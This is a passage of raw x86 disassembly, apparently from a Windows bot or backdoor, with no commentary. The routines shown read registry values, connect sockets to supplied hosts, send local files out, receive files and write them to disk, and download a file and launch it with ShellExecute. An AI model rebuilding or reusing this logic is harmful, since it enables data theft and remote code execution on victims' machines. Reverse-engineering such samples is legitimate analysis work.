[ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CAFD0 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CAFD0 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CAFD0 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB024 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF14 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF14 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF14 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CAFD0 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF14 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CAFD0 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF14 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CAFD0 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF14 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CAFD0 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF14 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CAFD0 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF14 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF14 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CAFD0 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB024 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4361F4, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4361F4 mov esi, offset dword_436200 mov edi, offset dword_4373F8 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CAFE4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAE74 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293BC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_4373F4 ; "=" push eax call sub_41C0F4 push offset asc_4373F4 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF50 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB00C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22BA314h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0A1E89064h, 330225A2h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 0A24AE864h, 6A900225h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 2BA1E7E8h db 2, 90h ; --------------------------------------------------------------------------- loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_437574 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAF74 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFA0 test eax, eax jz short loc_415EA6 push offset unk_437550 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF18 push dword ptr [ebp-2Eh] call dword_4CAEA4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAF9C test eax, eax jz short loc_415F21 push offset unk_437474 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call near ptr 26F0953h nop cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437530 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax nop call near ptr 2720C5Fh mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFB4 push eax call dword_4CAF70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437518 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF5C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437500 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_4374DC loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB00C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2760000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 26F0000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFC4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAF8C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] nop call near ptr 26518CEh push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB000 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374B0 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB00C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_437498 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2660AFDh lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293C4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call near ptr 26F0953h nop cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437614 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 26518CEh lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_4375E4 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375C4 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAF8C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAF70 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFC4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_437498 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26D0000h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437598 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB00C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF24 call dword_4CAE78 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 26F0953h cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_4377E0 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi call near ptr 26808EFh nop mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAE80 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 26E0000h nop cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377B8 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437790 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCB0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437764 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j nop call near ptr 26808EFh sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 26518CEh push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43773C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437704 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAEE0 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_4376E8 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx 